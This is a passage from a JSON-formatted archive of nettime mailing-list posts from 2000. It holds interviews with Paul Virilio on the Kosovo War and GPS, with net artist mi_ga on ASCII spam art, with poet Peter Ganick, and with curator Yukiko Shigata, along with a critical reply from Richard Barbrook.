Hughes, the imprisoned and impotent state of what\n you call 'technological monks'?\n\n *Paul Virilio*: There can be no doubt about this. It even held true\n for the soldiers involved in the Kosovo War. For the soldiers stayed\n mostly in their barracks! In this way, polar inertia has truly become\n a ~mass phenomenon~. And not only for the TV audiences watching the\n war at home but also for the army that watches the battle from the\n barracks. Today, ~the army only occupies the territory once the war\n is over~. Clearly, there is a kind of inertia here. Moreover, I would\n like to say that the sort of polar inertia we witnessed in the Kosovo\n War, the polar inertia involving 'automated war' and\n 'war-at-a-distance' is also terribly weak in the face of terrorism.\n For instance, in such situations, any individual who decides to place\n or throw a bomb can simply walk away. He or she ~has the freedom to\n move~. This also applies to militant political groups and their\n actions. Look at the ~Intifadah~ in Jerusalem. One cannot understand\n that phenomenon, a phenomenon where people, often very young boys,\n are successfully harassing one of the best armies in the world,\n without appreciating their freedom to move!\n\n *John Armitage*: Jean Baudrillard infamously argued that _The Gulf\n War Did Not Take Place_ (1995 [1991]). Could it be argued that the\n Kosovo War did not take place?\n\n *Paul Virilio*: Although Jean Baudrillard is a friend of mine, I do\n not agree with him on that one! For me, the significance of the war\n in Kosovo was that it was a war that moved into space. For instance,\n the Persian Gulf War was a miniature world war. It took place in a\n small geographical area. In this sense it was a local war. But it was\n one that made use of all the power normally reserved for global war.\n However, the Kosovo War took place in orbital space. In other words,\n war now takes place in 'aero-electro-magnetic space'. It is\n equivalent to the birth of a new type of flotilla, a home fleet, of a\n new type of naval power, but in orbital space!\n\n *John Armitage*: How do these developments relate to Global\n Positioning Systems (GPS)? For example, in _The Art of the Motor_\n (1995 [1993]), you were very interested in the relationship between\n globalisation, physical space, and the phenomenon of virtual spaces,\n positioning, or, 'delocalization'. In what ways, if any, do you think\n that militarized GPS played a 'delocalizing' role in the war in\n Kosovo?\n\n *Paul Virilio*: GPS not only played a large and delocalizing role in\n the war in Kosovo but is increasingly playing a role in social life.\n For instance, it was the GPS that directed the planes, the missiles\n and the bombs to localised targets in Kosovo. But may I remind you\n that the bombs that were dropped by the B-2 plane on the Chinese\n embassy -- or at least that is what we were told -- were GPS bombs.\n And the B-2 flew in from the US. However, GPS are everywhere. They\n are in cars. They were even in the half-tracks that, initially at\n least, were going to make the ground invasion in Kosovo possible.\n Yet, for all the sophistication of GPS, there still remain numerous\n problems with their use. The most obvious problem in this context is\n the problem of landmines. For example, when the French troops went\n into Kosovo they were told that they were going to enter in\n half-tracks, over the open fields. But their leaders had forgotten\n about the landmines. And this was a major problem because, these\n days, landmines are no longer localised. They are launched via tubes\n and distributed haphazardly over the territory. As a result, one\n cannot remove them after the war because one cannot find them! And\n yet the ability to detect such landmines, especially in a global war\n of movement, is absolutely crucial. Thus, for the US, GPS are a form\n of sovereignty! It is hardly surprising, then, that the EU has\n proposed its own GPS in order to be able to localise and to compete\n with the American GPS. As I have said before, sovereignty no longer\n resides in the territory itself, but in the control of the territory.\n And localisation is an inherent part of that territorial control. As\n I pointed out in _The Art of the Motor_ and elsewhere, from now on we\n need two watches: a wristwatch to tell us what time it is and a GPS\n watch to tell us what space it is!\n\n *John Armitage*: Lastly, given your analyses of technology and the\n general accident in recent works such as _Open Sky_ (1997 [1995]),\n _Politics of the Very Worst_ (1999 [1996]) and _The Information Bomb_\n (2000 [1998]), what, for you, is the likely prospective critical\n impact of counter measures to such developments? Are there any\n obvious strategies of resistance that can be deployed against the\n relentless advance of the technological strategies of deception?\n\n *Paul Virilio*: Resistance is ~always~ possible! But we must engage\n in resistance first of all by developing the idea of a ~technological\n culture~. However, at the present time, this idea is grossly\n underdeveloped. For example, we have developed an artistic and a\n literary culture. Nevertheless, the ideals of technological culture\n remain underdeveloped and therefore outside of popular culture and\n the practical ideals of democracy. This is also why society as a\n whole has no control over technological developments. And this is one\n of the gravest threats to democracy in the near future. It is, then,\n imperative to develop a democratic technological culture. Even among\n the elite, in government circles, technological culture is somewhat\n deficient. I could give examples of cabinet ministers, including\n defence ministers, who have no technological culture at all. In other\n words, what I am suggesting is that the hype generated by the\n publicity around the Internet and so on is not counter balanced by a\n political intelligence that is based on a technological culture. For\n instance, in 1999, Bill Gates not only published a new book on work\n at the speed of thought but also detailed how Microsoft's\n 'Falconview' software would enable the destruction of bridges in\n Kosovo. Thus it is no longer a Caesar or a Napoleon who decides on\n the fate of any particular war but a piece of software! In short, the\n political intelligence of war and the political intelligence of\n society no longer penetrate the technoscientific world. Or, let us\n put it this way, technoscientific intelligence is presently\n insufficiently spread among society at large to enable us to\n ~interpret~ the sorts of technoscientific advances that are taking\n shape today.\n\n Ecole Speciale d'Architecture, Paris.\n --------------------------------------------------------------------\n CTHEORY editors would like to thank Paul Virilio for participating in\n this  CTHEORY interview, John Armitage for conducting and editing the\n conversation, and Patrice Riemens for translating the interview.\n _______\n\n John Armitage is Principal Lecturer in Politics and Media Studies at\n the University of Northumbria, UK. The editor of Paul Virilio: From\n Modernism to Hypermodernism and Beyond (2000), he is currently\n editing Virilio Live: Selected Interviews for publication in 2001 and\n Economies of Excess, a forthcoming issue of parallax, a journal of\n metadiscursive theory and cultural practices.\n\n _____________________________________________________________________\n\n * CTHEORY is an international journal of theory, technology\n *   and culture. Articles, interviews, and key book reviews\n *   in contemporary discourse are published weekly as well as\n *   theorisations of major \"event-scenes\" in the mediascape.\n *\n * Editors: Arthur and Marilouise Kroker\n *\n * Editorial Board: Jean Baudrillard (Paris), Bruce Sterling (Austin),\n *   R.U. Sirius (San Francisco), Siegfried Zielinski (Koeln),\n *   Stelarc (Melbourne), Richard Kadrey (San Francisco),\n *   Timothy Murray (Ithaca/Cornell), Lynn Hershman Leeson\n *   (San Francisco), Stephen Pfohl (Boston), Andrew Ross\n *   (New York), David Cook (Toronto), William Leiss (Kingston),\n *   Shannon Bell (Downsview/York), Gad Horowitz (Toronto),\n *   Sharon Grace (San Francisco), Robert Adrian X (Vienna),\n *   Deena Weinstein (Chicago), Michael Weinstein (Chicago),\n *   Andrew Wernick (Peterborough).\n *\n * In Memory: Kathy Acker\n *\n * Editorial Correspondents: Ken Hollings (UK),\n *   Maurice Charland (Canada) Steve Gibson (Victoria, B.C.).\n *\n * Editorial Assistant: Richard Moffitt\n * World Wide Web Editor: Carl Steadman\n\n ____________________________________________________________________\n                To view CTHEORY online please visit:\n                      http://www.ctheory.com/\n\n             To view CTHEORY MULTIMEDIA online please visit:\n                    http://ctheory.concordia.ca/\n ____________________________________________________________________\n\n * CTHEORY includes:\n *\n * 1. Electronic reviews of key books in contemporary theory.\n *\n * 2. Electronic articles on theory, technology and culture.\n *\n * 3. Event-scenes in politics, culture and the mediascape.\n *\n * 4. Interviews with significant theorists, artists, and writers.\n *\n * CTHEORY is sponsored by New World Perspectives and Concordia\n *   University.\n *\n * For the academic year 2000/1, CTHEORY is sponsored\n *  by the Department of Sociology, Boston College\n *  (http://www.bc.edu/bc_org/avp/cas/soc/socdept.html)\n *\n *  The editors wish to thank, in particular, Boston College's\n *  Dr. Joseph Quinn, Dean, College of Arts and Science, Dr. John\n *  Neuhauser, Academic Vice-President, and Dr. Stephen Pfohl,\n *  Chairperson, Department of Sociology for their support.\n *\n * No commercial use of CTHEORY articles without permission.\n *\n * Mailing address: CTHEORY, Boston College, Department of Sociology,\n *   505 McGuinn Hall, Chestnut Hill, MA 02467.\n *\n * Full text and microform versions are available from UMI,\n *   Ann Arbor, Michigan; and Canadian Periodical Index/Gale\n *   Canada, Toronto.\n *\n * Indexed in: International Political Science Abstracts/\n *   Documentation politique international; Sociological\n *   Abstract Inc.; Advance Bibliography of Contents: Political\n *   Science and Government; Canadian Periodical Index;\n *   Film and Literature Index.\n _____________________________________________________________________\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "\"'nettime-l {AT} bbs.thing.net'\" <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0010/msg00203.html",
                "list": "nettime_l",
                "author_name": "John Armitage",
                "subject": "<nettime> CTHEORY Interview with Paul Virilio",
                "from": "John Armitage <john.armitage {AT} unn.ac.uk>",
                "follow-up": [
                    {
                        "from": "ichard barbrook <richard {AT} hrc.wmin.ac.uk>",
                        "content": "\nHiya,\n\nIsn't interesting how the Kosovars seem to have completely disappeared\nfrom Virilio's analysis of their own national liberation war. This\nmaster-thinker is so excited by American technology that he misses that\nmost of the serious fighting against the Serbian occupation forces was\ncarried out by the UCK partisans using relatively low-tech weapons. Since\nthis all happened 'off camera', it might as well not have happened for\nVirilio...\n\nLater,\n\nRichard\n\n-------------------------------------------------------------------\nDr. Richard Barbrook\nHypermedia Research Centre\nSchool of Communications and Creative Industries\nUniversity of Westminster\nWatford Road\nNorthwick Park\nHARROW HA1 3TP\n\n<www.hrc.wmin.ac.uk>\n\n+44 (0)20 7911 5000 x 4590\n\n-------------------------------------------------------------------\n\"While there is irony, we are still living in the prehistoric age. And we\nare not out of it yet...\" - Henri Lefebvre\n-------------------------------------------------------------------\n\nThe HRC is involved in running regular cybersalons at the ICA in London. If\nyou would like to be informed about forthcoming events, you can subscribe\nto a listserver on our website: <www.cybersalon.org>.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00207",
                        "date": "Fri, 20 Oct 2000 12:44:08 -0400",
                        "to": "NETTIME-L {AT} bbs.thing.net",
                        "message-id": "200010202110.RAA01588 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0010/msg00207.html",
                        "content-type": "text/plai",
                        "author_name": "richard barbrook",
                        "subject": "Re: <nettime> CTHEORY Interview with Paul Virilio"
                    }
                ],
                "message-id": "200010200251.WAA24204 {AT} bbs.thing.net",
                "date": "Thu, 19 Oct 2000 08:39:34 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "josephine bosma <jesis {AT} xs4all.nl>",
                "id": "00058",
                "content": "\nmi_ga stands for Mindaugas Gapsevicius. He is a Lithuanian net artist, and\none of the founders of the o-o domain. o-o was initiated in 1998 and is\none of net arts' independent outposts. The group around it is quite young\ncompared to a lot of other artists and artgroups, and their attitude is\ninteresting. One project related to it is the asco project, which is a\nspam art project coming from the '7-11 family line' of net art. mi-ga has\nset up the asco project with the French net artist d2b. Unlike the spam\nengine created by Frederic Madre early this year, which was just one part\nof the Palais Tokyo mailinglist, the asco spam engines are the center of\nfocus and activity of asco.\n\nJB: What is asco?\n\nmi_ga: It is ascii art, and the idea was to make it very infantile. Not a\nserious ascii art mailinglist. We store everything on the net.\n\nJB: What is this interest in spamming in a certain net art community? Why\nis it so popular?\n\nmi_ga: It is just fun. You can change stuff and spam. You can see how\nthings are changed..\n\nJB: You don't take an existing text and change it yourself?\n\nmi_ga: You can change something inside the engine through a web interface.\nYou can play with it and make a spam.\n\nJB: What is fun about it?\n\nmi_ga: The fun is to get infantile ascii art.\n\nJB: Instead of what...?\n\nmi_ga: Not instead of anything.\n\nJB: You just like spam art?\n\nmi_ga: yeah. It's cool. It does not look good. It is cool.\n\nJB: I see. Would you say that spam art is a kind of grafiti?\n\nmi_ga: Well... we were not thinking about grafiti at all. If you want you\ncan say it is grafiti. Let me show you three versions of spam. (He shows\nme the d2b site) Maybe it is web grafiti, I don't know. Here is the last\nversion: cross words. It spammed quite a few lists: 7-11, Palais Tokyo,\nnettime... You can change the cross words.\n\nJB: They always look the same. If there are changes, they are very subtle.\nEach one looks very much like the others. Should one look closer?\n\nmi_ga: You can change the content yourself. The form of the spam can be\ndifferent. You have to go deeper, deeper, deeper to know what is going on.\nIf you just push the button it stays the same. Here are archived messages\nof the list. Each number you see on this site contains an archive. Each\narchive contains fifteen messages, in a random way.\n\nJB: We see particular urls used as text or content for this spam you show\nme now. 7-11, kalx, potatoland, m9ndfukc, d2b, mouchette, salty, xtreme,\nyour o-o, the 0100etc people. Is there a special bond between those urls?\n\nmi_ga: This spam was made by d2b and me together. We chose to put those\nurls in because they are cool.\n\nJB: These are just your favorit urls?\n\nmi_ga: Maybe that is why...\n\nJB: Do you also have one with urls you hate? With bad net art maybe?\n\nmi_ga: I don't look at bad net art. I forget it immediately.\n\nJB: So there are no net art projects that come to mind that you\nparticularly do not like?\n\nmi_ga: I do not like pictures much. If there are a lot of pictures I don't\nlike it.\n\nJB: Because they are hard to download for you?\n\nmi_ga: I have to pay for every minute, so I have not much time to navigate\nor to surf on the net. The story comes down to that I like ascii. Maybe if\nI would have a very good net connection the history would go into another\ndirection. From the beginning I liked ascii more though. We made our site\nquite long ago, and it is ascii based, no images. We have something of a\ncampaign where you can find images, but in general there are none.\n\nJB: What do you think of the Ascii Art Ensemble?\n\nmi_ga: I think they are great. What else to say?\n\nJB: Do you prefer eastern european net art over american net art?\n\nmi_ga: I think there are no borders.\n\n\n\nhttp://www.o-o.lt/asco-o/\nhttp://www.d2b.org/asco-o/\n\n\n\n\n*\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Thu, 07 Sep 2000 11:10:15 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200009071828.OAA05932 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00058.html",
                "list": "nettime_l",
                "author_name": "josephine bosma",
                "subject": "<nettime> interview with mi_ga"
            },
            {
                "content-type": "text/plai",
                "from": "\"Steven Meinking\" <steven.meinking {AT} gte.net>",
                "id": "00143",
                "content": "\nThis is an interview I did with Peter Ganick which appears in the \ne-journal README, Issue #3.\n\nhttp://www.jps.net/nada/issuethree.htm\n\nSteve\n\n\nPeter Ganick is not a venerated poet in the traditional sense, but it is \n\nnot due to a lack of effort.  _Around A Corner: An Epidermis (1-28)_\nis his most recent effort, and it joins his broad catalog of other works \n\nsuch as _Agoraphobia_, _No Soap Radio_, and _<a ' satty>_, to\nname a few.  Each text is theoretically inspired and dense with Peter's\ndauntless fervor for discursive experimentation.  What follows is an\ninterview with Peter that was compiled from a correspondence of\ne-mails that stretched over several days.  Excerpts from some of his\ntexts are interspersed throughout.\n\n \"then sought as a face in the wilderness\n sounding something suffering too benign for\n improvisation himself the prasada offering\n where nothing else works,\"\n - _Around A Corner: An Epidermis (1-28)_\n\nSM: Before we delve more deeply into your experience as a poet, I\nam interested in your thoughts on the convergence of the Internet and\npoetry.  I've noticed a widespread emergence of poetry all over the Net, \n\nfrom e-mail lists and e-zines to bulletin boards and personal web sites. \n\nWhat do you think of this cyber-poetic emergence?\n\nPG: I think, for the most part, that any proliferation of poetry is a\nfavorable trend. The fact that poets of all persuasions can post their\npoetry on the Internet is a democratization of the art form. Every\ndemocratization of an art form is attendant with certain difficulties\nhowever, the main being the quality issue. If any poet can have his/her\npoetry displayed, there is not the usual filtering that occurs when an\neditor weeds out what he/she feels is not suitable for publication.\n\nA very favorable trend established by the Internet, and one that I have\ntaken advantage of many times already, is the possibility for e-mail\ncollaborative texts. Until the Internet, snailmail had to suffice. With its\nnecessary slowness, a critical momentum could never be established.\nThat is why there were few collaborative poems written up to the advent\nof e-mail.\n\nIn an e-mail collaboration, the participants can exchange portions as\noften as they wish or are able. This speeds up the process, and the\nsame momentum that an individual poet establishes in a single work, is\naugmented when two or more poets work on a poem together.\n\nSM:  Your POTEPOETZINE and POTEPOETTEXT both do an admirable job of\nshowcasing this type of poetry and work.  You are the editor of both\nprojects.  Both the text and zine are distributed via e-mail, with the\nzine exhibiting a collaboration of multiple contributors and the text\nfeaturing one particular poet/writer.  What are your thoughts and\nmotivations behind those projects?\n\nPG:  The motivation behind the POTEPOETZINE and POTEPOETTEXT\nprojects is the same as that behind my hard-copy projects: to distribute \nexperimental poetry to as large an audience as possible. In the print\nmedia, it has been to publish readable editions that are affordable\nwhile being sufficiently elegant. I consider the print media activities of\nmore importance for me, at least at this time. A print book is somehow\nmore \"permanent\" than an online project. The online zines were never\nmore than a side activity to complement and further the print work of \nthe Press.\n\n \"The relations set up between an artform (writing) and another\n artform as 'foil' are similar to keeping oneself free, mentally\n and spiritually. In the Heideggerean sense, it is a 'free-for' that\n one obtains in this manner -- free-for-writing.\"\n - \"A Poetics Statement\" from POTEPOETTEXTTHIRTEEN\n\nSM:  You mention print work, and I don't think I'm being charitable when I\nsay that the amount of work you have produced is impressive.  The\npoetry that you write is also very unique and innovative.  You refer to it as\n\"experimental poetry.\"  What does this notion of \"experimental\" mean to\nyou and the breadth of your work?\n\nPG:  I have produced a lot of work, both in the publishing medium and in \n\nmy own writing. The way I write is to not filter the writing at all, then when\nit's on the page, go back and revise it, however minimally. The forward\nmotion of the writing is what keeps me going from project to project.  The\ndifference between projects, or not having two projects be alike, is \nwhat I call \"experimental.\" I have always felt that to write the same type of \npoem twice is not worth the doing. For this writer, to be at the edge of \nhis endurance at all times, helps me go onto newer projects.\n\nI have always had a fondness for the long poem. 'Remove A Concept',\nwritten in the late 80s to early 90s is almost 4000 pages.\n'SPLINTERED', some of which can be seen on my author's page at the\nBuffalo Electronic Poetry Center, written around 1996-7, is around\n2000 pages.  'Around A Corner: an epidermis', written in 1998 and to\nbe published by Potes & Poets Press is over 600 pages. The long form\ngives one a chance to develop motifs and energies, even if only\nsubconsciously.  The type of poetry I do could also be called 'abstract,'\nbecause of its de-referentialized nature. It is different from, although \nsimilar to the classical LANGUAGE poets' work in that it has always\nbeen motivated primarily by philosophy, not poetry. In the last fifteen\nyears, I have read around 10 books of poetry, no more. Philosophy,\nwhether Eastern or Western, is the prime source. Poetry, in the manner\nof which it alters language, is the urtext of philosophy. I write such \nurtexts.\n\nSM:  \"Urtext\" reminds me of the \"Urstaat\" in Deleuze & Guattari.  For\nthem the Urstaat is the ideal model of the despotic state, but the \ndirect reference to Ur is more primary, the first city of the civilized world, \nan originary form.  In its altering of language, do you think the urtext is \nsimilar?\n\nPG:  This is a controversial issue. Certain theorists like Chomsky\nbelieve that language capability is innate, something we have at or\nbefore birth. If I understand correctly, this capability is common to all\nhomo sapiens.  What I wonder is if a writer, through intense practice,\ncan change his/her own, and therefore possibly a reader's, ur-text for\nlanguage. This is akin to Rimbaud's idea of sensory derangement, but\nin a more planned manner than he had in mind. Or in a phrase now part\nof the common jargon that originated in the 1960s, to bend one's mind.\n\nHowever that 1960s phrase is not what I have in mind. Those of us who\nparticipated in that period of history are different from it, although many\nof my peers seem to have forgotten the ideals that motivated us then.\nRimbaud, as an individual, seems to have accomplished more in that he\nleft poetry finally.  Meaning that he DID alter his ur-text significantly. An\ninner change DID happen. Something was accomplished. WIRED magazine tells us \nthat \"Change is good.\"\n\nWhen I speak of urtext in language, it is not an actual _first_ language.\nRather an _ideal_ language. A language that doesn't exist, except in the\nminds of poets.\n\nThe poetry I write is abstract, not non-referential.  The Language poets,\nfrom who early on I took my model, write non-referential language. This\nis language that has a relationship to some reference to reality. Namely \nthat of negation.\n\nThe writing I do is, on the other hand, abstract.  Meaning, without\nrelationship to reality. This is its insularity and its vulnerability at \nthe same time.  I like to see that the language is a structure that is pure \nand of-itself. Sort of like the abstractness of mathematics. And hopefully \nits universality.\n\n \"perhaps it begins in four echoes\n the closest of which is\n word-mind before\n demanded straits,\n the cipher has gone awash\n its tone to replace now & then\n every caller-frequency,\"\n - _Agoraphobia_\n\nSM: How have you been altered through your poetic efforts, if at all?\n\nPG: A fair enough answer would be to say: Read the books I have written. \n\nBut to elaborate a bit because that's the nature of the responses\nexpected in an interview like this, writing has led me to a spiritual \npursuit.  Writing is a spiritual pursuit, with the word \"spiritual\" being \nused in its fullest sense. As a devotee of Sri Ramakrishna, a Hindu saint \nwho lived in the nineteenth century, and having a guru and meditating daily, \nthe spiritual pursuit is a large part of writing for me.\n\nAnother answer would be to say: Life has changed me, as life changes\neveryone, and the writing is nothing more than life writing life.\n\nSM:  You stated earlier that philosophy is a form of inspiration.  Who are\nsome of your favorite thinkers?  And what about philosophy as a practice\ngives it this prominent place in your work?\n\nPG: The philosophical tradition I am writing from is twofold. First, the \nDerridean and Deleuzean tradition of what I'll call 'errant' texts. \nTexts that become intentional only when activated. Their resonance is \nthrough the Derridean 'trace' and extended in the Deleuzean 'rhizome'. I \nlike the fact that these two concepts claim to be more than concepts.\n\nThe other tradition is more vital to the writing I do.  It is the Vedantic\ntradition in the sense of being aware of the consciousness I am writing\nfrom more than the words I am writing. What distinguishes this from a\n'trance' or 'channeling'? Perhaps nothing.  Perhaps something. Perhaps\nthe fact that the consciousness claims to be nothing more than a\nconsciousness-producing-words/text. The creative consciousness, in\nthis manifestation.\n\nVedanta is a version of Hinduism for those who do not know this. I am\na Hindu.\n\nSM:  I find the style of your poetry very liberating, but it isn't easy to\nread, at least initially.  When I engage one of your texts it takes time to\nwork through the material.  Then, after a short period, a flow is\ngenerated and I seem to drift with the work.  What are some of your\nthoughts concerning how a reader might approach your poetry?\n\nPG: I think you have hit on it. In a sense, a writer merely writes the text\nand leaves each writer to find his or her way into it. However, the writing\nhas a relationship to a 'stream of consciousness' type of production,\ntherefore some sort of mindful suspension of thought in the reading\nprocess would be helpful.\n\nThe writing is meditative in nature, therefore should be read in a\nconcentrated manner. It is difficult, as you say, but, I think, if one 'keeps\non moving' through the texts, doesn't get stuck anywhere, one will find\nwhat is there in each text.\n\nAs we all know, there is a 'normative' grammar in language. And it\nseems to me that the task of the poet is to extend that grammar. This \ncan make for difficult going in one of the texts I've written, however, each \ntext, especially the recent ones does a certain 'twist' with form and grammar, \nmaybe more than one. Once that is realized, there should be no problem\nwith reading.\n\n \"reasons format accuracy THIS FROM\n THAT and yoga impish ape solemnize\n manacle you distortion to TEMPLATE\n INWARD jungle certainty ears form at\n on dry shape RELUCTANT however din\"\n - _News On Skis_\n\nSM:  With elements of your style, approach and influences touched upon\nonly two questions remain:  Is there anything you would like to do creatively\nthat is not already represented in your lifework?  And what direction, if any,\ndo you plan to take your poetry?\n\nPG:  Regarding what I'd like to do in the future: that'd be basically 'more of\nthe same'. I find value in writing texts. I hope to be able to write \nmany more.  Multimedia or internet work only interests me as it can be \napplied to texts I can write. I would like to learn how to type faster.\n\nThe poetry has developed over the period I've been writing on its own. I \nthink I'll just sort of sit back and let it happen. One cannot direct \nthe stream of one's creative activity. One can only be grateful one has it.\n\nResources:\n\nhttp://www.spdbooks.org - Site where you can purchase Peter's books,\ntitles from Potes & Poets press, as well as texts from other independent\npublishers.\n\nhttp://wings.buffalo.edu/epc/authors/ganick - Peter's work at the \nBuffalo Electronic Poetry Center.\n\nhttp://www.burningpress.org/va/poteindex.html - POTEPOETZINE and \nPOTEPOETTEXT electronic index of issues. \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Fri, 15 Sep 2000 09:06:23 -0700",
                "to": "\"Nettime-L\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200009172130.RAA31758 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00143.html",
                "list": "nettime_l",
                "author_name": "Steven Meinking",
                "subject": "<nettime> Interview With Peter Ganick"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00128",
                "content": "\n(see also: www.maap.org.au for the streaming media event out of the Brisbane\nPowerhouse on Sunday September 17 with participants from Mumbai, Tokyo,\nBeijing, Bandung, Seoul, Melbourne and Hong Kong).\n\nAn E-mail Interview with Yukiko Shigata\nBy Geert Lovink\n\nFor many years Yukiko Shigata has been curator for new media arts at Tokyo\nCanon ArtLab. She is very well informed about the latest works and trends\nwithin electronic arts, both in Asia and Europe. Because of schedule\nreasons, Yikiko Shigata was not able to participate live during MAAP\nfestival's  streaming media event (Brisbane Powerhouse, September 17, 2000).\nInstead, a short e-mail exchange was arranged.\n\nGL: Over the last 10 or 15 years there have been a lot of complaints in\nJapan about a structural under/zero funding of new media arts, compared to\nthe size of the country, its wealth and most of all, its focus on new\ntechnology. With the spectacular rise of Internet and the capacities of\ncomputers, for example to do digital video editing, perhaps young people\nworking with new media don't need institutional support anymore. Do you see\nany sign in the direction of a more independent media culture? Is working\ninside big companies still the only option for young people?\n\nYS: As you know well, it became much easier for Japanese young people to\nhave access to the computers and other new media equipment, compared with\nthe early 90s. But the point is actually not on the amount of available\nequipment, but the motivation to use it creatively and tactically, as\nindependent media. The notion of \"independent media\" and the necessity of\nhaving it is rather weak in Japan, being somehow concealed in the society.\nThe necessity of \"independent media\" rises when (1) the people shares the\nnotion of \"being independent\" as one of the fundamental human right, (2)\nthey are aware of being in a crisis of individuality by social and/or\npolitical reason, (3) they are conscious of role of media. In the society\nsuch as Japan (as a virtual \"homogeneous body\"), it is not easy to find an\n\"independent media culture\", compared to elsewhere, especially Europe.\nJapan is good in producing portable, wearable gadgets. By having smaller,\ncheaper gadget people's obsession to be on trend will be satisfied. They\nfeel themselves as part of \"now, here\" in man-machine environment. People\nare made by the products, such as fetish objects. The new products form an\neconomical loop between the user and the company, and it is not that easy\nfor most of Japanese to get out of it.(of course, enjoy being in the loop\nand trying to make independent/creative breakthrough does not contradict\neach other, and only from that point, Japanese young people could be\ncreative).\nBy the way, I think institutional support would make sense, if it provides\nartists opportunity to make totally new kind of creation. The thing can be\nachieved with institutional support is different compared to the\npersonal/independent level. Of course very few places in Japan and even in\nthe world where artists can utilize the higher level of equipment and\nsometimes professional engineers. One of such places is Canon ARTLAB where I\nwork as one of the curators.\n\nGL: What do you think of WAP cell phone as a platform? The text message as\nnew Haiku? Or the cracked games culture of PlayStation and Dreamcast? A\nsettopbox interface culture? Are we really getting away from the personal\ncomputer?\n\nYS: Cell phone is getting more and more popular platform for the mobile\ncommunication.text message would be a kind of monologue, coming from the\nunconscious flow.not formalistic and minimal as Haiku output. (and all the\npeople know commercially, this is the strategy of Europe and Japan to shift\nmore mobile, cell phone-based culture, making initiative in the field far\nadvanced from the personal-computer-based U.S. business). The ways of\ncommunication will be surely change by different interfaces, and this would\nin turn change our style of thinking. At the moment I cannot say that we are\ngetting away from the personal computer, but being conscious of the\ndifferent of each media, and use them parallel would make sense. At least we\nhave to watch the situation by our own responsibility.\n\nGL: Do you know of streaming audio and video initiatives in Japan? Or do we\nsee the same trick of companies like NTT, to make streaming so expensive\nthat no one is going to even think about it? How did Japanese kids respond\nto the Napster MP3 craze? Does this put the recording industry under\npressure in the same way as, let's say, in the United States?\n\nYS: There are very few. Tetsuo Kogawa (media theorist) and Jun Oenoki (media\nartist) are the ones initiating audio streaming. They have the experience of\nfree radio activities for a long time, raising the issues to the public.\nJapanese kids did not respond to the Napster MP3 craze that vividly. They\nare rather watching the hype as observers, unconsciously controlled by their\nexisting role in society... not finding the way. I personally am in favor of\nNapster, Internet culture and the new rules which belong to this new\nenvironment.\n\nGL: The NTT InterCommunicationCenter in Tokyo has lost half of its budget\nand will have to move its exhibition space to a much smaller premise inside\nthe Tokyo Opera City building. This happened not only because of the breakup\nof NTT in NTT-East and NTT-West. What do you think of this development? Is\nit good or bad? ICC has been criticized a lot for its megalomaniac approach,\nits narrow definition of new media arts and mafia type of organization. Is\nthis likely to change? On the other hand, last December ICC brought Survival\nResearch Laboratories to Tokyo to do a free performance. Was this a clever\nway to silence its critics?\n\nYS: It is a pity that ICC will be smaller with less budget, in addition to\nthe existing structural problem. It is true that SRL in Tokyo, the wild\nevent realized by ICC, in outside space, provided a kind of critic to ICC\nfrom inside. But it's also true that it would not silence the critics to ICC\nin general. But even that, I think it is very important that ICC goes on, as\nICC is only one in Japan and one of the few in the world which exhibits new\nmedia arts on a permanent basis. I just hope ICC would be more flexible in\norganizing independent activities and smaller events, rather showing a kind\nof \"masterpieces\" of media art. I think that we are getting out of the time\nof media arts which represented individual artists by using hi-end machines,\nin a closed dark space or environment. Going into the 21st Century, we are\nshifting into the more actual, connective environments, which would be done\nin/with the public space such as Internet or in the city. These would be\nmore collaborative, communicational activities, such as \"Vectorial\nElevation\" (by Rafael-Lozano Hemmer and his team) and the works of Knowbotic\nResearch. It could be a kind of hybrid of research, communication,\nactivities, between artists, theorists, researchers, curators, etc.,\ninterwoven, with the filter of \"art\". Not art in the traditional way. I\nwould like to keep on being involved in such activities, as one of\nparticipants.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Sat, 16 Sep 2000 11:46:36 +1000",
                "to": "\"Nettime\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200009161405.KAA20942 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00128.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Yukiko Shigata (for MAAP)"
            },
            {
                "content-type": "text/plai",
                "from": "josephine bosma <jesis {AT} xs4all.nl>",
                "id": "00015",
